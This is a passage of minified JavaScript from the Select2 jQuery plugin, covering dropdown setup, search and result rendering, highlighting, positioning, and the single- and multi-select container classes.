wn=this.container.find(".select2-drop"),k(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(P(i.dropdownCssClass,this.opts.element)),this.dropdown.data("select2",this),this.dropdown.on("click",w),this.results=s=this.container.find(h),this.search=o=this.container.find("input.select2-input"),this.queryCount=0,this.resultsPage=0,this.context=null,this.initContainer(),this.container.on("click",w),this.results.on("mousemove",(function(i){var s=c;s!==e&&s.x===i.pageX&&s.y===i.pageY||t(i.target).trigger("mousemove-filtered",i)})),this.dropdown.on("mousemove-filtered",h,this.bind(this.highlightUnderEvent)),this.dropdown.on("touchstart touchmove touchend",h,this.bind((function(t){this._touchEvent=!0,this.highlightUnderEvent(t)}))),this.dropdown.on("touchmove",h,this.bind(this.touchMoved)),this.dropdown.on("touchstart touchend",h,this.bind(this.clearTouchMoved)),this.dropdown.on("click",this.bind((function(t){this._touchEvent&&(this._touchEvent=!1,this.selectHighlighted())}))),a=this.results,r=b(80,(function(t){a.trigger("scroll-debounced",t)})),a.on("scroll",(function(t){g(t.target,a.get())>=0&&r(t)})),this.dropdown.on("scroll-debounced",h,this.bind(this.loadMoreIfNeeded)),t(this.container).on("change",".select2-input",(function(t){t.stopPropagation()})),t(this.dropdown).on("change",".select2-input",(function(t){t.stopPropagation()})),t.fn.mousewheel&&s.mousewheel((function(t,e,i,o){var n=s.scrollTop();o>0&&n-o<=0?(s.scrollTop(0),w(t)):o<0&&s.get(0).scrollHeight-s.scrollTop()+o<=s.height()&&(s.scrollTop(s.get(0).scrollHeight-s.height()),w(t))})),y(o),o.on("keyup-change input paste",this.bind(this.updateResults)),o.on("focus",(function(){o.addClass("select2-focused")})),o.on("blur",(function(){o.removeClass("select2-focused")})),this.dropdown.on("mouseup",h,this.bind((function(e){t(e.target).closest(".select2-result-selectable").length>0&&(this.highlightUnderEvent(e),this.selectHighlighted(e))}))),this.dropdown.on("click mouseup mousedown touchstart touchend focusin",(function(t){t.stopPropagation()})),this.nextSearchTerm=e,t.isFunction(this.opts.initSelection)&&(this.initSelection(),this.monitorSource()),null!==i.maximumInputLength&&this.search.attr("maxlength",i.maximumInputLength);var d=i.element.prop("disabled");d===e&&(d=!1),this.enable(!d);var p=i.element.prop("readonly");p===e&&(p=!1),this.readonly(p),l=l||function(){var e=t("<div class='select2-measure-scrollbar'></div>");e.appendTo("body");var i={width:e.width()-e[0].clientWidth,height:e.height()-e[0].clientHeight};return e.remove(),i}(),this.autofocus=i.element.prop("autofocus"),i.element.prop("autofocus",!1),this.autofocus&&this.focus(),this.search.attr("placeholder",i.searchInputPlaceholder)},destroy:function(){var t=this.opts.element,i=t.data("select2"),s=this;this.close(),t.length&&t[0].detachEvent&&t.each((function(){this.detachEvent("onpropertychange",s._sync)})),this.propertyObserver&&(this.propertyObserver.disconnect(),this.propertyObserver=null),this._sync=null,i!==e&&(i.container.remove(),i.liveRegion.remove(),i.dropdown.remove(),t.removeClass("select2-offscreen").removeData("select2").off(".select2").prop("autofocus",this.autofocus||!1),this.elementTabIndex?t.attr({tabindex:this.elementTabIndex}):t.removeAttr("tabindex"),t.show()),L.call(this,"container","liveRegion","dropdown","results","search")},optionToData:function(t){return t.is("option")?{id:t.prop("value"),text:t.text(),element:t.get(),css:t.attr("class"),disabled:t.prop("disabled"),locked:m(t.attr("locked"),"locked")||m(t.data("locked"),!0)}:t.is("optgroup")?{text:t.attr("label"),children:[],element:t.get(),css:t.attr("class")}:void 0},prepareOpts:function(i){var s,o,a,r,l=this;if("select"===(s=i.element).get(0).tagName.toLowerCase()&&(this.select=o=i.element),o&&t.each(["id","multiple","ajax","query","createSearchChoice","initSelection","data","tags"],(function(){if(this in i)throw new Error("Option '"+this+"' is not allowed for Select2 when attached to a <select> element.")})),"function"!=typeof(i=t.extend({},{populateResults:function(s,o,a){var r,h=this.opts.id,c=this.liveRegion;(r=function(s,o,d){var p,u,f,g,m,v,x,y,b,w,k=[];for(p=0,u=(s=i.sortResults(s,o,a)).length;p<u;p+=1)g=!(m=!0===(f=s[p]).disabled)&&h(f)!==e,v=f.children&&f.children.length>0,(x=t("<li></li>")).addClass("select2-results-dept-"+d),x.addClass("select2-result"),x.addClass(g?"select2-result-selectable":"select2-result-unselectable"),m&&x.addClass("select2-disabled"),v&&x.addClass("select2-result-with-children"),x.addClass(l.opts.formatResultCssClass(f)),x.attr("role","presentation"),(y=t(document.createElement("div"))).addClass("select2-result-label"),y.attr("id","select2-result-label-"+n()),y.attr("role","option"),(w=i.formatResult(f,y,a,l.opts.escapeMarkup))!==e&&(y.html(w),x.append(y)),v&&((b=t("<ul></ul>")).addClass("select2-result-sub"),r(f.children,b,d+1),x.append(b)),x.data("select2-data",f),k.push(x[0]);o.append(k),c.text(i.formatMatches(s.length))})(o,s,0)}},t.fn.select2.defaults,i)).id&&(a=i.id,i.id=function(t){return t[a]}),t.isArray(i.element.data("select2Tags"))){if("tags"in i)throw"tags specified as both an attribute 'data-select2-tags' and in options of Select2 "+i.element.attr("id");i.tags=i.element.data("select2Tags")}if(o?(i.query=this.bind((function(t){var i,o,n,a={results:[],more:!1},r=t.term;n=function(e,i){var s;e.is("option")?t.matcher(r,e.text(),e)&&i.push(l.optionToData(e)):e.is("optgroup")&&(s=l.optionToData(e),e.children().each2((function(t,e){n(e,s.children)})),s.children.length>0&&i.push(s))},i=s.children(),this.getPlaceholder()!==e&&i.length>0&&(o=this.getPlaceholderOption())&&(i=i.not(o)),i.each2((function(t,e){n(e,a.results)})),t.callback(a)})),i.id=function(t){return t.id}):"query"in i||("ajax"in i?((r=i.element.data("ajax-url"))&&r.length>0&&(i.ajax.url=r),i.query=T.call(i.element,i.ajax)):"data"in i?i.query=C(i.data):"tags"in i&&(i.query=A(i.tags),i.createSearchChoice===e&&(i.createSearchChoice=function(e){return{id:t.trim(e),text:t.trim(e)}}),i.initSelection===e&&(i.initSelection=function(e,s){var o=[];t(v(e.val(),i.separator)).each((function(){var e={id:this,text:this},s=i.tags;t.isFunction(s)&&(s=s()),t(s).each((function(){if(m(this.id,e.id))return e=this,!1})),o.push(e)})),s(o)}))),"function"!=typeof i.query)throw"query function not defined for Select2 "+i.element.attr("id");if("top"===i.createSearchChoicePosition)i.createSearchChoicePosition=function(t,e){t.unshift(e)};else if("bottom"===i.createSearchChoicePosition)i.createSearchChoicePosition=function(t,e){t.push(e)};else if("function"!=typeof i.createSearchChoicePosition)throw"invalid createSearchChoicePosition option must be 'top', 'bottom' or a custom function";return i},monitorSource:function(){var i,s=this.opts.element,o=this;s.on("change.select2",this.bind((function(t){!0!==this.opts.element.data("select2-change-triggered")&&this.initSelection()}))),this._sync=this.bind((function(){var t=s.prop("disabled");t===e&&(t=!1),this.enable(!t);var i=s.prop("readonly");i===e&&(i=!1),this.readonly(i),k(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.addClass(P(this.opts.containerCssClass,this.opts.element)),k(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(P(this.opts.dropdownCssClass,this.opts.element))})),s.length&&s[0].attachEvent&&s.each((function(){this.attachEvent("onpropertychange",o._sync)})),(i=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver)!==e&&(this.propertyObserver&&(delete this.propertyObserver,this.propertyObserver=null),this.propertyObserver=new i((function(e){t.each(e,o._sync)})),this.propertyObserver.observe(s.get(0),{attributes:!0,subtree:!1}))},triggerSelect:function(e){var i=t.Event("select2-selecting",{val:this.id(e),object:e,choice:e});return this.opts.element.trigger(i),!i.isDefaultPrevented()},triggerChange:function(e){e=e||{},e=t.extend({},e,{type:"change",val:this.val()}),this.opts.element.data("select2-change-triggered",!0),this.opts.element.trigger(e),this.opts.element.data("select2-change-triggered",!1),this.opts.element.click(),this.opts.blurOnChange&&this.opts.element.blur()},isInterfaceEnabled:function(){return!0===this.enabledInterface},enableInterface:function(){var t=this._enabled&&!this._readonly,e=!t;return t!==this.enabledInterface&&(this.container.toggleClass("select2-container-disabled",e),this.close(),this.enabledInterface=t,!0)},enable:function(t){t===e&&(t=!0),this._enabled!==t&&(this._enabled=t,this.opts.element.prop("disabled",!t),this.enableInterface())},disable:function(){this.enable(!1)},readonly:function(t){t===e&&(t=!1),this._readonly!==t&&(this._readonly=t,this.opts.element.prop("readonly",t),this.enableInterface())},opened:function(){return!!this.container&&this.container.hasClass("select2-dropdown-open")},positionDropdown:function(){var e,i,s,o,n,a=this.dropdown,r=this.container.offset(),h=this.container.outerHeight(!1),c=this.container.outerWidth(!1),d=a.outerHeight(!1),p=t(window),u=p.width(),f=p.height(),g=p.scrollLeft()+u,m=p.scrollTop()+f,v=r.top+h,x=r.left,y=v+d<=m,b=r.top-d>=p.scrollTop(),w=a.outerWidth(!1),k=x+w<=g;a.hasClass("select2-drop-above")?(i=!0,!b&&y&&(s=!0,i=!1)):(i=!1,!y&&b&&(s=!0,i=!0)),s&&(a.hide(),r=this.container.offset(),h=this.container.outerHeight(!1),c=this.container.outerWidth(!1),d=a.outerHeight(!1),g=p.scrollLeft()+u,m=p.scrollTop()+f,v=r.top+h,k=(x=r.left)+(w=a.outerWidth(!1))<=g,a.show(),this.focusSearch()),this.opts.dropdownAutoWidth?(n=t(".select2-results",a)[0],a.addClass("select2-drop-auto-width"),a.css("width",""),(w=a.outerWidth(!1)+(n.scrollHeight===n.clientHeight?0:l.width))>c?c=w:w=c,d=a.outerHeight(!1),k=x+w<=g):this.container.removeClass("select2-drop-auto-width"),"static"!==this.body.css("position")&&(v-=(e=this.body.offset()).top,x-=e.left),k||(x=r.left+this.container.outerWidth(!1)-w),o={left:x,width:c},i?(o.top=r.top-d,o.bottom="auto",this.container.addClass("select2-drop-above"),a.addClass("select2-drop-above")):(o.top=v,o.bottom="auto",this.container.removeClass("select2-drop-above"),a.removeClass("select2-drop-above")),o=t.extend(o,P(this.opts.dropdownCss,this.opts.element)),a.css(o)},shouldOpen:function(){var e;return!this.opened()&&!1!==this._enabled&&!0!==this._readonly&&(e=t.Event("select2-opening"),this.opts.element.trigger(e),!e.isDefaultPrevented())},clearDropdownAlignmentPreference:function(){this.container.removeClass("select2-drop-above"),this.dropdown.removeClass("select2-drop-above")},open:function(){return!!this.shouldOpen()&&(this.opening(),r.on("mousemove.select2Event",(function(t){c.x=t.pageX,c.y=t.pageY})),!0)},opening:function(){var e,i=this.containerEventName,s="scroll."+i,o="resize."+i,n="orientationchange."+i;this.container.addClass("select2-dropdown-open").addClass("select2-container-active"),this.clearDropdownAlignmentPreference(),this.dropdown[0]!==this.body.children().last()[0]&&this.dropdown.detach().appendTo(this.body),0==(e=t("#select2-drop-mask")).length&&((e=t(document.createElement("div"))).attr("id","select2-drop-mask").attr("class","select2-drop-mask"),e.hide(),e.appendTo(this.body),e.on("mousedown touchstart click",(function(i){u(e);var s,o=t("#select2-drop");o.length>0&&((s=o.data("select2")).opts.selectOnBlur&&s.selectHighlighted({noFocus:!0}),s.close(),i.preventDefault(),i.stopPropagation())}))),this.dropdown.prev()[0]!==e[0]&&this.dropdown.before(e),t("#select2-drop").removeAttr("id"),this.dropdown.attr("id","select2-drop"),e.show(),this.positionDropdown(),this.dropdown.show(),this.positionDropdown(),this.dropdown.addClass("select2-drop-active");var a=this;this.container.parents().add(window).each((function(){t(this).on(o+" "+s+" "+n,(function(t){a.opened()&&a.positionDropdown()}))}))},close:function(){if(this.opened()){var e=this.containerEventName,i="scroll."+e,s="resize."+e,o="orientationchange."+e;this.container.parents().add(window).each((function(){t(this).off(i).off(s).off(o)})),this.clearDropdownAlignmentPreference(),t("#select2-drop-mask").hide(),this.dropdown.removeAttr("id"),this.dropdown.hide(),this.container.removeClass("select2-dropdown-open").removeClass("select2-container-active"),this.results.empty(),r.off("mousemove.select2Event"),this.clearSearch(),this.search.removeClass("select2-active"),this.opts.element.trigger(t.Event("select2-close"))}},externalSearch:function(t){this.open(),this.search.val(t),this.updateResults(!1)},clearSearch:function(){},getMaximumSelectionSize:function(){return P(this.opts.maximumSelectionSize,this.opts.element)},ensureHighlightVisible:function(){var e,i,s,o,n,a,r,l,h=this.results;(i=this.highlight())<0||(0!=i?(e=this.findHighlightableChoices().find(".select2-result-label"),o=(l=((s=t(e[i])).offset()||{}).top||0)+s.outerHeight(!0),i===e.length-1&&(r=h.find("li.select2-more-results")).length>0&&(o=r.offset().top+r.outerHeight(!0)),o>(n=h.offset().top+h.outerHeight(!0))&&h.scrollTop(h.scrollTop()+(o-n)),(a=l-h.offset().top)<0&&"none"!=s.css("display")&&h.scrollTop(h.scrollTop()+a)):h.scrollTop(0))},findHighlightableChoices:function(){return this.results.find(".select2-result-selectable:not(.select2-disabled):not(.select2-selected)")},moveHighlight:function(e){for(var i=this.findHighlightableChoices(),s=this.highlight();s>-1&&s<i.length;){var o=t(i[s+=e]);if(o.hasClass("select2-result-selectable")&&!o.hasClass("select2-disabled")&&!o.hasClass("select2-selected")){this.highlight(s);break}}},highlight:function(e){var i,s,o=this.findHighlightableChoices();if(0===arguments.length)return g(o.filter(".select2-highlighted")[0],o.get());e>=o.length&&(e=o.length-1),e<0&&(e=0),this.removeHighlight(),(i=t(o[e])).addClass("select2-highlighted"),this.search.attr("aria-activedescendant",i.find(".select2-result-label").attr("id")),this.ensureHighlightVisible(),this.liveRegion.text(i.text()),(s=i.data("select2-data"))&&this.opts.element.trigger({type:"select2-highlight",val:this.id(s),choice:s})},removeHighlight:function(){this.results.find(".select2-highlighted").removeClass("select2-highlighted")},touchMoved:function(){this._touchMoved=!0},clearTouchMoved:function(){this._touchMoved=!1},countSelectableResults:function(){return this.findHighlightableChoices().length},highlightUnderEvent:function(e){var i=t(e.target).closest(".select2-result-selectable");if(i.length>0&&!i.is(".select2-highlighted")){var s=this.findHighlightableChoices();this.highlight(s.index(i))}else 0==i.length&&this.removeHighlight()},loadMoreIfNeeded:function(){var t=this.results,e=t.find("li.select2-more-results"),i=this.resultsPage+1,s=this,o=this.search.val(),n=this.context;0!==e.length&&e.offset().top-t.offset().top-t.height()<=this.opts.loadMorePadding&&(e.addClass("select2-active"),this.opts.query({element:this.opts.element,term:o,page:i,context:n,matcher:this.opts.matcher,callback:this.bind((function(a){s.opened()&&(s.opts.populateResults.call(this,t,a.results,{term:o,page:i,context:n}),s.postprocessResults(a,!1,!1),!0===a.more?(e.detach().appendTo(t).text(P(s.opts.formatLoadMore,s.opts.element,i+1)),window.setTimeout((function(){s.loadMoreIfNeeded()}),10)):e.remove(),s.positionDropdown(),s.resultsPage=i,s.context=a.context,this.opts.element.trigger({type:"select2-loaded",items:a}))}))}))},tokenize:function(){},updateResults:function(i){var s,o,n,a=this.search,r=this.results,l=this.opts,h=this,c=a.val(),d=t.data(this.container,"select2-last-term");if((!0===i||!d||!m(c,d))&&(t.data(this.container,"select2-last-term",c),!0===i||!1!==this.showSearchInput&&this.opened())){n=++this.queryCount;var p=this.getMaximumSelectionSize();if(!(p>=1&&(s=this.data(),t.isArray(s)&&s.length>=p&&E(l.formatSelectionTooBig,"formatSelectionTooBig"))))return a.val().length<l.minimumInputLength?(E(l.formatInputTooShort,"formatInputTooShort")?f("<li class='select2-no-results'>"+P(l.formatInputTooShort,l.element,a.val(),l.minimumInputLength)+"</li>"):f(""),void(i&&this.showSearch&&this.showSearch(!0))):void(l.maximumInputLength&&a.val().length>l.maximumInputLength?E(l.formatInputTooLong,"formatInputTooLong")?f("<li class='select2-no-results'>"+P(l.formatInputTooLong,l.element,a.val(),l.maximumInputLength)+"</li>"):f(""):(l.formatSearching&&0===this.findHighlightableChoices().length&&f("<li class='select2-searching'>"+P(l.formatSearching,l.element)+"</li>"),a.addClass("select2-active"),this.removeHighlight(),(o=this.tokenize())!=e&&null!=o&&a.val(o),this.resultsPage=1,l.query({element:l.element,term:a.val(),page:this.resultsPage,context:null,matcher:l.matcher,callback:this.bind((function(s){var o;n==this.queryCount&&(this.opened()?s.hasError!==e&&E(l.formatAjaxError,"formatAjaxError")?f("<li class='select2-ajax-error'>"+P(l.formatAjaxError,l.element,s.jqXHR,s.textStatus,s.errorThrown)+"</li>"):(this.context=s.context===e?null:s.context,this.opts.createSearchChoice&&""!==a.val()&&(o=this.opts.createSearchChoice.call(h,a.val(),s.results))!==e&&null!==o&&h.id(o)!==e&&null!==h.id(o)&&0===t(s.results).filter((function(){return m(h.id(this),h.id(o))})).length&&this.opts.createSearchChoicePosition(s.results,o),0===s.results.length&&E(l.formatNoMatches,"formatNoMatches")?f("<li class='select2-no-results'>"+P(l.formatNoMatches,l.element,a.val())+"</li>"):(r.empty(),h.opts.populateResults.call(this,r,s.results,{term:a.val(),page:this.resultsPage,context:null}),!0===s.more&&E(l.formatLoadMore,"formatLoadMore")&&(r.append("<li class='select2-more-results'>"+l.escapeMarkup(P(l.formatLoadMore,l.element,this.resultsPage))+"</li>"),window.setTimeout((function(){h.loadMoreIfNeeded()}),10)),this.postprocessResults(s,i),u(),this.opts.element.trigger({type:"select2-loaded",items:s}))):this.search.removeClass("select2-active"))}))})));f("<li class='select2-selection-limit'>"+P(l.formatSelectionTooBig,l.element,p)+"</li>")}function u(){a.removeClass("select2-active"),h.positionDropdown(),r.find(".select2-no-results,.select2-selection-limit,.select2-searching").length?h.liveRegion.text(r.text()):h.liveRegion.text(h.opts.formatMatches(r.find(".select2-result-selectable").length))}function f(t){r.html(t),u()}},cancel:function(){this.close()},blur:function(){this.opts.selectOnBlur&&this.selectHighlighted({noFocus:!0}),this.close(),this.container.removeClass("select2-container-active"),this.search[0]===document.activeElement&&this.search.blur(),this.clearSearch(),this.selection.find(".select2-search-choice-focus").removeClass("select2-search-choice-focus")},focusSearch:function(){var t;(t=this.search)[0]!==document.activeElement&&window.setTimeout((function(){var e,i=t[0],s=t.val().length;t.focus(),(i.offsetWidth>0||i.offsetHeight>0)&&i===document.activeElement&&(i.setSelectionRange?i.setSelectionRange(s,s):i.createTextRange&&((e=i.createTextRange()).collapse(!1),e.select()))}),0)},selectHighlighted:function(t){if(this._touchMoved)this.clearTouchMoved();else{var e=this.highlight(),i=this.results.find(".select2-highlighted").closest(".select2-result").data("select2-data");i?(this.highlight(e),this.onSelect(i,t)):t&&t.noFocus&&this.close()}},getPlaceholder:function(){var t;return this.opts.element.attr("placeholder")||this.opts.element.attr("data-placeholder")||this.opts.element.data("placeholder")||this.opts.placeholder||((t=this.getPlaceholderOption())!==e?t.text():e)},getPlaceholderOption:function(){if(this.select){var i=this.select.children("option").first();if(this.opts.placeholderOption!==e)return"first"===this.opts.placeholderOption&&i||"function"==typeof this.opts.placeholderOption&&this.opts.placeholderOption(this.select);if(""===t.trim(i.text())&&""===i.val())return i}},initContainerWidth:function(){var i=function(){var i,s,o,n,a;if("off"===this.opts.width)return null;if("element"===this.opts.width)return 0===this.opts.element.outerWidth(!1)?"auto":this.opts.element.outerWidth(!1)+"px";if("copy"===this.opts.width||"resolve"===this.opts.width){if((i=this.opts.element.attr("style"))!==e)for(n=0,a=(s=i.split(";")).length;n<a;n+=1)if(null!==(o=s[n].replace(/\s/g,"").match(/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i))&&o.length>=1)return o[1];return"resolve"===this.opts.width?(i=this.opts.element.css("width")).indexOf("%")>0?i:0===this.opts.element.outerWidth(!1)?"auto":this.opts.element.outerWidth(!1)+"px":null}return t.isFunction(this.opts.width)?this.opts.width():this.opts.width}.call(this);null!==i&&this.container.css("width",i)}}),s=D(i,{createContainer:function(){return t(document.createElement("div")).attr({class:"select2-container"}).html(["<a href='javascript:void(0)' class='select2-choice' tabindex='-1'>"," <span class='select2-chosen'> </span><abbr class='select2-search-choice-close'></abbr>"," <span class='select2-arrow' role='presentation'><b role='presentation'></b></span>","</a>","<label for='' class='select2-offscreen'></label>","<input class='select2-focusser select2-offscreen' type='text' aria-haspopup='true' role='button' />","<div class='select2-drop select2-display-none'>"," <div class='select2-search'>"," <label for='' class='select2-offscreen'></label>"," <input type='text' autocomplete='off' autocorrect='off' autocapitalize='off' spellcheck='false' class='select2-input' role='combobox' aria-expanded='true'"," aria-autocomplete='list' />"," </div>"," <ul class='select2-results' role='listbox'>"," </ul>","</div>"].join(""))},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.focusser.prop("disabled",!this.isInterfaceEnabled())},opening:function(){var i,s,o;this.opts.minimumResultsForSearch>=0&&this.showSearch(!0),this.parent.opening.apply(this,arguments),!1!==this.showSearchInput&&this.search.val(this.focusser.val()),this.opts.shouldFocusInput(this)&&(this.search.focus(),(i=this.search.get(0)).createTextRange?((s=i.createTextRange()).collapse(!1),s.select()):i.setSelectionRange&&(o=this.search.val().length,i.setSelectionRange(o,o))),""===this.search.val()&&this.nextSearchTerm!=e&&(this.search.val(this.nextSearchTerm),this.search.select()),this.focusser.prop("disabled",!0).val(""),this.updateResults(!0),this.opts.element.trigger(t.Event("select2-open"))},close:function(){this.opened()&&(this.parent.close.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},focus:function(){this.opened()?this.close():(this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},isFocused:function(){return this.container.hasClass("select2-container-active")},cancel:function(){this.parent.cancel.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus()},destroy:function(){t("label[for='"+this.focusser.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),L.call(this,"selection","focusser")},initContainer:function(){var e,i,s=this.container,o=this.dropdown,a=n();this.opts.minimumResultsForSearch<0?this.showSearch(!1):this.showSearch(!0),this.selection=e=s.find(".select2-choice"),this.focusser=s.find(".select2-focusser"),e.find(".select2-chosen").attr("id","select2-chosen-"+a),this.focusser.attr("aria-labelledby","select2-chosen-"+a),this.results.attr("id","select2-results-"+a),this.search.attr("aria-owns","select2-results-"+a),this.focusser.attr("id","s2id_autogen"+a),i=t("label[for='"+this.opts.element.attr("id")+"']"),this.focusser.prev().text(i.text()).attr("for",this.focusser.attr("id"));var r=this.opts.element.attr("title");this.opts.element.attr("title",r||i.text()),this.focusser.attr("tabindex",this.elementTabIndex),this.search.attr("id",this.focusser.attr("id")+"_search"),this.search.prev().text(t("label[for='"+this.focusser.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.search.on("keydown",this.bind((function(t){if(this.isInterfaceEnabled()&&229!=t.keyCode)if(t.which!==d.PAGE_UP&&t.which!==d.PAGE_DOWN)switch(t.which){case d.UP:case d.DOWN:return this.moveHighlight(t.which===d.UP?-1:1),void w(t);case d.ENTER:return this.selectHighlighted(),void w(t);case d.TAB:return void this.selectHighlighted({noFocus:!0});case d.ESC:return this.cancel(t),void w(t)}else w(t)}))),this.search.on("blur",this.bind((function(t){document.activeElement===this.body.get(0)&&window.setTimeout(this.bind((function(){this.opened()&&this.search.focus()})),0)}))),this.focusser.on("keydown",this.bind((function(t){if(this.isInterfaceEnabled()&&t.which!==d.TAB&&!d.isControl(t)&&!d.isFunctionKey(t)&&t.which!==d.ESC){if(!1!==this.opts.openOnEnter||t.which!==d.ENTER){if(t.which==d.DOWN||t.which==d.UP||t.which==d.ENTER&&this.opts.openOnEnter){if(t.altKey||t.ctrlKey||t.shiftKey||t.metaKey)return;return this.open(),void w(t)}return t.which==d.DELETE||t.which==d.BACKSPACE?(this.opts.allowClear&&this.clear(),void w(t)):void 0}w(t)}}))),y(this.focusser),this.focusser.on("keyup-change input",this.bind((function(t){if(this.opts.minimumResultsForSearch>=0){if(t.stopPropagation(),this.opened())return;this.open()}}))),e.on("mousedown touchstart","abbr",this.bind((function(t){var e;this.isInterfaceEnabled()&&(this.clear(),(e=t).preventDefault(),e.stopImmediatePropagation(),this.close(),this.selection.focus())}))),e.on("mousedown touchstart",this.bind((function(i){u(e),this.container.hasClass("select2-container-active")||this.opts.element.trigger(t.Event("select2-focus")),this.opened()?this.close():this.isInterfaceEnabled()&&this.open(),w(i)}))),o.on("mousedown touchstart",this.bind((function(){this.opts.shouldFocusInput(this)&&this.search.focus()}))),e.on("focus",this.bind((function(t){w(t)}))),this.focusser.on("focus",this.bind((function(){this.container.hasClass("select2-container-active")||this.opts.element.trigger(t.Event("select2-focus")),this.container.addClass("select2-container-active")}))).on("blur",this.bind((function(){this.opened()||(this.container.removeClass("select2-container-active"),this.opts.element.trigger(t.Event("select2-blur")))}))),this.search.on("focus",this.bind((function(){this.container.hasClass("select2-container-active")||this.opts.element.trigger(t.Event("select2-focus")),this.container.addClass("select2-container-active")}))),this.initContainerWidth(),this.opts.element.addClass("select2-offscreen"),this.setPlaceholder()},clear:function(e){var i=this.selection.data("select2-data");if(i){var s=t.Event("select2-clearing");if(this.opts.element.trigger(s),s.isDefaultPrevented())return;var o=this.getPlaceholderOption();this.opts.element.val(o?o.val():""),this.selection.find(".select2-chosen").empty(),this.selection.removeData("select2-data"),this.setPlaceholder(),!1!==e&&(this.opts.element.trigger({type:"select2-removed",val:this.id(i),choice:i}),this.triggerChange({removed:i}))}},initSelection:function(){if(this.isPlaceholderOptionSelected())this.updateSelection(null),this.close(),this.setPlaceholder();else{var t=this;this.opts.initSelection.call(null,this.opts.element,(function(i){i!==e&&null!==i&&(t.updateSelection(i),t.close(),t.setPlaceholder(),t.nextSearchTerm=t.opts.nextSearchTerm(i,t.search.val()))}))}},isPlaceholderOptionSelected:function(){var t;return this.getPlaceholder()!==e&&((t=this.getPlaceholderOption())!==e&&t.prop("selected")||""===this.opts.element.val()||this.opts.element.val()===e||null===this.opts.element.val())},prepareOpts:function(){var e=this.parent.prepareOpts.apply(this,arguments),i=this;return"select"===e.element.get(0).tagName.toLowerCase()?e.initSelection=function(t,e){var s=t.find("option").filter((function(){return this.selected&&!this.disabled}));e(i.optionToData(s))}:"data"in e&&(e.initSelection=e.initSelection||function(i,s){var o=i.val(),n=null;e.query({matcher:function(t,i,s){var a=m(o,e.id(s));return a&&(n=s),a},callback:t.isFunction(s)?function(){s(n)}:t.noop})}),e},getPlaceholder:function(){return this.select&&this.getPlaceholderOption()===e?e:this.parent.getPlaceholder.apply(this,arguments)},setPlaceholder:function(){var t=this.getPlaceholder();if(this.isPlaceholderOptionSelected()&&t!==e){if(this.select&&this.getPlaceholderOption()===e)return;this.selection.find(".select2-chosen").html(this.opts.escapeMarkup(t)),this.selection.addClass("select2-default"),this.container.removeClass("select2-allowclear")}},postprocessResults:function(t,e,i){var s=0,o=this;if(this.findHighlightableChoices().each2((function(t,e){if(m(o.id(e.data("select2-data")),o.opts.element.val()))return s=t,!1})),!1!==i&&(!0===e&&s>=0?this.highlight(s):this.highlight(0)),!0===e){var n=this.opts.minimumResultsForSearch;n>=0&&this.showSearch(O(t.results)>=n)}},showSearch:function(e){this.showSearchInput!==e&&(this.showSearchInput=e,this.dropdown.find(".select2-search").toggleClass("select2-search-hidden",!e),this.dropdown.find(".select2-search").toggleClass("select2-offscreen",!e),t(this.dropdown,this.container).toggleClass("select2-with-searchbox",e))},onSelect:function(t,e){if(this.triggerSelect(t)){var i=this.opts.element.val(),s=this.data();this.opts.element.val(this.id(t)),this.updateSelection(t),this.opts.element.trigger({type:"select2-selected",val:this.id(t),choice:t}),this.nextSearchTerm=this.opts.nextSearchTerm(t,this.search.val()),this.close(),e&&e.noFocus||!this.opts.shouldFocusInput(this)||this.focusser.focus(),m(i,this.id(t))||this.triggerChange({added:t,removed:s})}},updateSelection:function(t){var i,s,o=this.selection.find(".select2-chosen");this.selection.data("select2-data",t),o.empty(),null!==t&&(i=this.opts.formatSelection(t,o,this.opts.escapeMarkup)),i!==e&&o.append(i),(s=this.opts.formatSelectionCssClass(t,o))!==e&&o.addClass(s),this.selection.removeClass("select2-default"),this.opts.allowClear&&this.getPlaceholder()!==e&&this.container.addClass("select2-allowclear")},val:function(){var t,i=!1,s=null,o=this,n=this.data();if(0===arguments.length)return this.opts.element.val();if(t=arguments[0],arguments.length>1&&(i=arguments[1]),this.select)this.select.val(t).find("option").filter((function(){return this.selected})).each2((function(t,e){return s=o.optionToData(e),!1})),this.updateSelection(s),this.setPlaceholder(),i&&this.triggerChange({added:s,removed:n});else{if(!t&&0!==t)return void this.clear(i);if(this.opts.initSelection===e)throw new Error("cannot call val() if initSelection() is not defined");this.opts.element.val(t),this.opts.initSelection(this.opts.element,(function(t){o.opts.element.val(t?o.id(t):""),o.updateSelection(t),o.setPlaceholder(),i&&o.triggerChange({added:t,removed:n})}))}},clearSearch:function(){this.search.val(""),this.focusser.val("")},data:function(t){var i,s=!1;if(0===arguments.length)return(i=this.selection.data("select2-data"))==e&&(i=null),i;arguments.length>1&&(s=arguments[1]),t?(i=this.data(),this.opts.element.val(t?this.id(t):""),this.updateSelection(t),s&&this.triggerChange({added:t,removed:i})):this.clear(s)}}),o=D(i,{createContainer:function(){return t(document.createElement("div")).attr({class:"select2-container select2-container-multi"}).html(["<ul class='select2-choices'>"," <li class='select2-search-field'>"," <label for='' class='select2-offscreen'></label>"," <input type='text' autocomplete='off' autocorrect='off' autocapitalize='off' spellcheck='false' class='select2-input'>"," </li>","</ul>","<div class='select2-drop select2-drop-multi select2-display-none'>"," <ul class='select2-results'>"," </ul>","</div>"].join(""))},prepareOpts:function(){var e=this.parent.prepareOpts.apply(this,arguments),i=this;return"select"===e.element.get(0).tagName.toLowerCase()?e.initSelection=function(t,e){var s=[];t.find("option").filter((function(){return this.selected&&!this.disabled})).each2((function(t,e){s.push(i.optionToData(e))})),e(s)}:"data"in e&&(e.initSelection=e.initSelection||function(i,s){var o=v(i.val(),e.separator),n=[];e.query({matcher:function(i,s,a){var r=t.grep(o,(function(t){return m(t,e.id(a))})).length;return r&&n.push(a),r},callback:t.isFunction(s)?function(){for(var 